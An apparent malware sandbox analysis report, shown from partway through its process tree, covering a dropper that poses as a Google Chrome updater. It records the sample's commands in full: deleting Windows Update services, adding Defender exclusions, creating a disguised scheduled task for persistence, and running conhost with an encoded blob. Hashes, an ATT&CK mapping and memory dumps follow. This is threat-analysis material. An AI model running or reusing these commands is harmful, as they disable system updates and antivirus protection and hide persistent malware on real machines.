cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
4⤵
- Suspicious use of WriteProcessMemory
PID:3292

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:2068

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:2176

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:3820

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:3868

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:3872

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
5⤵
PID:4324

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
5⤵
PID:4912

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
5⤵
- Modifies security service
PID:348

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
5⤵
PID:3980

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
5⤵
PID:4000

C:\Windows\SYSTEM32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of WriteProcessMemory
PID:3344

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3312

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2084

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4152

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2060

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#cthbhmckn#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3352

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#iljoca#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:4552

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
5⤵
PID:4312

C:\Users\Admin\AppData\Local\Temp\watchdog.exe
"C:\Users\Admin\AppData\Local\Temp\watchdog.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3060

C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:100172

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:4212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:6100

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:6784

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:6884

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:6920

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:7004

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:7052

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:7124

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:7152

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:7176

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:7192

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:7208

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:7228

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:6796

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:6936

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:7020

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:7084

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:7140

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#cthbhmckn#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:6832

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe ekwaxvtzumfvch
2⤵
PID:8272

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
PID:8328

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
4⤵
- Modifies data under HKEY_USERS
PID:8372

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:8284

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe cxfacjpoynzyzzmc GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqiKy9RognxgdgL26xl6pHcgBuSDH82m22H2uTx/gYzO827+5kpstbfmCCWwx/haNMZTpvRN2AWJn3nj807NkQH/uc5YsiTBf742xyjDXcUT/RYfnhcLyzybIWgXn+7JafUmbaP5sh35EaxsiGFShuRY1L5Fi1uvVZnjU0an3bePXHEXYChHiocVdekR4gVKAc85wY8WomQkvNXfo8OnI8G68t0jyGDhrkDKs7kWaJz2DMj5MokwVvSUi2Y2TsrAP/8HOYVji2aTn31s7dz3/WlCN+UmM7HFUgStV0krKswFnOvNVFJHtjMrdLvilnrbVN4TalQD/4emuEzW66JneW1g/oS7Mgp0E17ll9y0I6gqFt/X0Sayxrm+G3lICBwYbS
2⤵
PID:8420

C:\Users\Admin\AppData\Local\cache\MoUSO.exe
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:4772

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

T1064

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

Scripting

T1064

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
6.9MB

MD5
a82a470f0d0f7a7ebcc1735f2ba2717b

SHA1
7c5c8ff69c12cf328792ae85517d76d4591258fc

SHA256
c451372c8cab80d572af86c3bbb34617f481eb59a79b2f6053851982bae54e15

SHA512
ed04a6c739314f95d645ec15890b4056382210a9ca9fc0eff888c547a6291bd5a294781e07590c71a2261d7e8a5512ba82b5a9f0b0308b84e7c6eb1e9e45e302

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
6.9MB

MD5
a82a470f0d0f7a7ebcc1735f2ba2717b

SHA1
7c5c8ff69c12cf328792ae85517d76d4591258fc

SHA256
c451372c8cab80d572af86c3bbb34617f481eb59a79b2f6053851982bae54e15

SHA512
ed04a6c739314f95d645ec15890b4056382210a9ca9fc0eff888c547a6291bd5a294781e07590c71a2261d7e8a5512ba82b5a9f0b0308b84e7c6eb1e9e45e302

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize
1KB

MD5
1725b4a47e8e19d11845006f877dccb0

SHA1
090057bb2e2a26412ddd09101d5afc9d32cd432d

SHA256
0402c2f4ace9e080fe7661bca51d6d7b5abf87070bba080e06c114635c0bbb72

SHA512
b4cbe64368c9378dbeba8aba7355db92fe2089353ed74de877e6b503e195375574de4b18b5d47f8e5f97040df9e70c76e038c609d8a1180f9f1448cfb1313896

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize
438B

MD5
8a163a6f741ad677fc8143a0682a4368

SHA1
039481c8975888f03f8b5920cb9f28bfabb62004

SHA256
218ea335e855d047d39ab63651d710184a6902722b709f7397bf0863dd86d745

SHA512
c8358b962c505be9b2220c4576a131e52b2b1b153b21ca8cef5692f3852f4e6dfee6fbd719730856987f09915f09fcd68ef0f5bb0b47d7179aa64e0e371e9aeb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
ad2aed67060e89fc99da9dbdfa81ffa5

SHA1
62998b3e83f715cafae575e211eaefacf9688d02

SHA256
a03091a1de621a1009e9f5da76d25f8ef4755c0f1b58485c396f4530ae58bf6a

SHA512
48a70bec01afcdfff2d499821a51c783669a5e274448675ae85fb21a018e585b66d9a4b718ed5ada0d8b977610138c246f3933e06e44a6855304006f1a07bda4

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
087a5153deee83a76444ca761706e06b

SHA1
9ccd8344d11883adf3fff7053319cbea05637289

SHA256
bfa38317e3176842a3c75adc10c5eefd181539c168da10023e71a9546a510ffa

SHA512
4c8325d589a982bfc8b4a14eb66fc4af3010b6981de040a2edf47077c373d895fb59f115ac9a55a7d7da4a1be856f9152b5d223232ea82fdafb834df96f74643

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe
Filesize
1.3MB

MD5
2d6153e8a40769cd739eb79300337522

SHA1
969b1faf9926a3a68a7c18d117f2dd6931a1ca7d

SHA256
7c1df5f1c62db80febbdfee35ceb800df85bcbc1fa6de062f069cebc109b18e9

SHA512
606ae72de064fbe10190261abd08c900a893131cd47702dae565fe73c3e4650f125a95be0d2984995237bc731b058a33a89d18d47a487b75a1271d2930c5a91b

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe
Filesize
1.3MB

MD5
2d6153e8a40769cd739eb79300337522

SHA1
969b1faf9926a3a68a7c18d117f2dd6931a1ca7d

SHA256
7c1df5f1c62db80febbdfee35ceb800df85bcbc1fa6de062f069cebc109b18e9

SHA512
606ae72de064fbe10190261abd08c900a893131cd47702dae565fe73c3e4650f125a95be0d2984995237bc731b058a33a89d18d47a487b75a1271d2930c5a91b

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup32.exe
Filesize
6.9MB

MD5
c24701f805733b3f6c168df6757a8a2b

SHA1
6e89449a661461a409593624513a7bc0e2eb35b9

SHA256
40220335eb7ec4c39d6e364b7703ba03dd5c366a7614e6d4a518e72789012816

SHA512
f2a8182884a28985b6c1f4e4df9d7c76b95809daa889f0bac6a61970d315115ba98d936889f58a2746d55534acae0e49769485055e0c8f7f087b15b66186dca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup32.exe
Filesize
6.9MB

MD5
c24701f805733b3f6c168df6757a8a2b

SHA1
6e89449a661461a409593624513a7bc0e2eb35b9

SHA256
40220335eb7ec4c39d6e364b7703ba03dd5c366a7614e6d4a518e72789012816

SHA512
f2a8182884a28985b6c1f4e4df9d7c76b95809daa889f0bac6a61970d315115ba98d936889f58a2746d55534acae0e49769485055e0c8f7f087b15b66186dca3

Download Submit
C:\Users\Admin\AppData\Local\Temp\watchdog.exe
Filesize
2.6MB

MD5
3f8741278cb85af186b9e64e899512ff

SHA1
e72b4919d4a21c92ffe114923564199664718fe1

SHA256
57e36131668ecf7b29077e7c19027d10667147aecd1a3ef2b5bc93056cd3b3c3

SHA512
f28a6e415819b0c49428eb56b0f839f8b38c92ed9aa41756ef94dc482b3b34cffb8ab29128ac635114c9b21823c64eb7279725c844f4ff315e319b603465218d

Download Submit
C:\Users\Admin\AppData\Local\Temp\watchdog.exe
Filesize
2.6MB

MD5
3f8741278cb85af186b9e64e899512ff

SHA1
e72b4919d4a21c92ffe114923564199664718fe1

SHA256
57e36131668ecf7b29077e7c19027d10667147aecd1a3ef2b5bc93056cd3b3c3

SHA512
f28a6e415819b0c49428eb56b0f839f8b38c92ed9aa41756ef94dc482b3b34cffb8ab29128ac635114c9b21823c64eb7279725c844f4ff315e319b603465218d

Download Submit
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
Filesize
1.3MB

MD5
2d6153e8a40769cd739eb79300337522

SHA1
969b1faf9926a3a68a7c18d117f2dd6931a1ca7d

SHA256
7c1df5f1c62db80febbdfee35ceb800df85bcbc1fa6de062f069cebc109b18e9

SHA512
606ae72de064fbe10190261abd08c900a893131cd47702dae565fe73c3e4650f125a95be0d2984995237bc731b058a33a89d18d47a487b75a1271d2930c5a91b

Download Submit
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
Filesize
1.3MB

MD5
2d6153e8a40769cd739eb79300337522

SHA1
969b1faf9926a3a68a7c18d117f2dd6931a1ca7d

SHA256
7c1df5f1c62db80febbdfee35ceb800df85bcbc1fa6de062f069cebc109b18e9

SHA512
606ae72de064fbe10190261abd08c900a893131cd47702dae565fe73c3e4650f125a95be0d2984995237bc731b058a33a89d18d47a487b75a1271d2930c5a91b

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
573d77d4e77a445f5db769812a0be865

SHA1
7473d15ef2d3c6894edefd472f411c8e3209a99c

SHA256
5ec3f268845a50e309ae0d80bcee4f4dd4cd1b279ab1e64b523a057c11074f1c

SHA512
af2422a9790a91cdcbe39e6ef6d17899c2cbd4159b1b71ac56f633015068d3afc678fcef34892575bf59bdf7d5914ec6070864940d44130263fe84e28abba2dc

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
631f4b3792b263fdda6b265e93be4747

SHA1
1d6916097d419198bfdf78530d59d0d9f3e12d45

SHA256
4e68d2d067c5680a2e55853ac58b16f199b09f1b9e5f2174605fff18da828976

SHA512
e0280041c4ca63971ab2524f25d2047820f031c1b4aeb6021a3367297045ddf6616ffccafb54630eb07fd154571d844329ebcc34d6ce64834cb77cba373e4fbe

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
2KB

MD5
219e1975a6de590f4d7c7cc443728e00

SHA1
64bcdf591bb175340b722237633cbd576b076249

SHA256
d7841e2652285f41d28d330032365f8d9fcacf5db7d91cdb6523d2afde7a3fe3

SHA512
cdd07092c4220b97458476a03bc06b8fe9a1009f19c352bd195e7389127e92dde6e8ea471647c74b470e3b728e5e0e9de60f12fad3ce78bd73c5ef813ad856e7

Download Submit
memory/348-428-0x0000000000000000-mapping.dmp

Download
memory/2060-413-0x0000000000000000-mapping.dmp

Download
memory/2068-408-0x0000000000000000-mapping.dmp

Download
memory/2084-406-0x0000000000000000-mapping.dmp

Download
memory/2176-412-0x0000000000000000-mapping.dmp

Download
memory/2524-162-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-144-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-145-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-147-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-146-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-148-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-149-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-150-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-151-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-152-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-153-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-154-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-155-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-156-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-157-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-158-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-159-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-160-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-161-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-123-0x0000000000000000-mapping.dmp

Download
memory/2524-163-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-164-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-165-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-166-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-167-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-168-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-170-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-169-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-172-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-171-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-125-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-174-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-175-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-176-0x0000000000B60000-0x0000000000EC1000-memory.dmp

Filesize
3.4MB

Download
memory/2524-177-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-178-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-179-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-180-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-181-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-182-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-183-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-184-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-185-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-186-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-187-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-188-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-189-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-142-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-141-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-126-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-138-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-127-0x0000000000B60000-0x0000000000EC1000-memory.dmp

Filesize
3.4MB

Download
memory/2524-128-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-218-0x0000000000B60000-0x0000000000EC1000-memory.dmp

Filesize
3.4MB

Download
memory/2524-129-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-130-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-140-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-139-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-131-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-133-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-134-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-135-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-136-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-137-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/2524-143-0x00000000776D0000-0x000000007785E000-memory.dmp

Filesize
1.6MB

Download
memory/3060-242-0x0000000000000000-mapping.dmp

Download
memory/3292-400-0x0000000000000000-mapping.dmp

Download
memory/3312-403-0x0000000000000000-mapping.dmp

Download
memory/3344-401-0x0000000000000000-mapping.dmp

Download
memory/3352-402-0x0000000000000000-mapping.dmp

Download
memory/3820-415-0x0000000000000000-mapping.dmp

Download
memory/3868-418-0x0000000000000000-mapping.dmp

Download
memory/3872-421-0x0000000000000000-mapping.dmp

Download
memory/3980-430-0x0000000000000000-mapping.dmp

Download
memory/4000-429-0x0000000000000000-mapping.dmp

Download
memory/4152-411-0x0000000000000000-mapping.dmp

Download
memory/4212-1216-0x00007FF6CD1B0000-0x00007FF6CDE49000-memory.dmp

Filesize
12.6MB

Download
memory/4212-1217-0x00007FF87D310000-0x00007FF87D4EB000-memory.dmp

Filesize
1.9MB

Download
memory/4212-470-0x00007FF6CD1B0000-0x00007FF6CDE49000-memory.dmp

Filesize
12.6MB

Download
memory/4212-780-0x00007FF87D310000-0x00007FF87D4EB000-memory.dmp

Filesize
1.9MB

Download
memory/4212-471-0x00007FF87D310000-0x00007FF87D4EB000-memory.dmp

Filesize
1.9MB

Download
memory/4212-779-0x00007FF6CD1B0000-0x00007FF6CDE49000-memory.dmp

Filesize
12.6MB

Download
memory/4236-215-0x0000000000000000-mapping.dmp

Download
memory/4308-262-0x00007FF7DB5A0000-0x00007FF7DC239000-memory.dmp

Filesize
12.6MB

Download
memory/4308-300-0x00007FF87D310000-0x00007FF87D4EB000-memory.dmp

Filesize
1.9MB

Download
memory/4308-453-0x00007FF7DB5A0000-0x00007FF7DC239000-memory.dmp

Filesize
12.6MB

Download
memory/4308-206-0x0000000000000000-mapping.dmp

Download
memory/4308-210-0x00007FF7DB5A0000-0x00007FF7DC239000-memory.dmp

Filesize
12.6MB

Download
memory/4308-454-0x00007FF87D310000-0x00007FF87D4EB000-memory.dmp

Filesize
1.9MB

Download
memory/4308-238-0x00007FF87D310000-0x00007FF87D4EB000-memory.dmp

Filesize
1.9MB

Download
memory/4312-465-0x0000000000000000-mapping.dmp

Download
memory/4324-424-0x0000000000000000-mapping.dmp

Download
memory/4388-122-0x0000000140000000-0x0000000140022000-memory.dmp

Filesize
136KB

Download
memory/4388-245-0x0000000140000000-0x0000000140022000-memory.dmp

Filesize
136KB

Download
memory/4388-173-0x0000000140000000-0x0000000140022000-memory.dmp

Filesize
136KB

Download
memory/4388-118-0x0000000140000000-0x0000000140022000-memory.dmp

Filesize
136KB

Download
